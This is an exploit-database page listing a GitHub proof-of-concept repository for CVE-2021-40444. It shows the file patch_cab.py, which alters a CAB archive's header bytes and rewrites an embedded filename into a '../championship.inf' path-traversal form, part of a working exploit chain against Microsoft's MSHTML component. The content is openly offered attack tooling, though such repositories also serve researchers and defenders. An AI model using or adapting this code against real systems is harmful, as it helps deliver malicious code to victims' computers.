Exploit database

GH-9d77799f318d66efb3b7e3fac4b26019

lockedbyte/cve-2021-40444

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-40444

28 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files11
lockedbyte/cve-2021-40444Revision 713dffcc974e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

patch_cab.py

Python · 366 bytes
#!/usr/bin/env python3

# Patch cab file

m_off = 0x2d
f = open('www/out.cab','rb')
cab_data = f.read()
f.close()

out_cab_data = cab_data[:m_off]
out_cab_data += b'\x00\x5c\x41\x00'
out_cab_data += cab_data[m_off+4:]

out_cab_data = out_cab_data.replace(b'..\\championship.inf', b'../championship.inf')

f = open('www/out.cab','wb')
f.write(out_cab_data)
f.close()